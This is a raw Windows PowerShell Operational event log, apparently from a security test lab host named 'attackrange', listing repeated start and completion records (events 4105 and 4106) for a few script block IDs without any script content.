Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037153
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037152
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037151
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037150
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037134
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037133
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037128
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037127
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037105
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
